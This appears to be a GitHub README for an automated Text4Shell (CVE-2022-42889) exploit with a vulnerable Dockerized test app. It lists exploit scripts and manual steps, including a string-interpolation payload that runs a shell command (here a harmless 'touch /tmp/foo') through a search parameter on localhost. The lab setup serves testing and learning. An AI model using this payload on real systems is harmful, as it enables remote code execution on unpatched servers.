adarshpv9746/text4shell--automated-exploit---cve-2022-42889Automated exploit for CVE-2022-42889 (Text4Shell) with a vulnerable Dockerized app for testing and manual exploitation guidance.
//For automated hacking: 1../install.sh
2../exploit.sh
3.To remove the application use ./stopapp.sh
//For manual hacking:
mvn clean install
docker build --tag=text4shell .
docker run -p 80:8080 text4shell
http://localhost/text4shell/attack?search=<anything>
${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}
You can also try using dns or url prefixes.
Get the container id
docker container ls
docker exec -it <container_id> bash
foo created in the /tmp directory):ls /tmp/
docker container stop <container_id>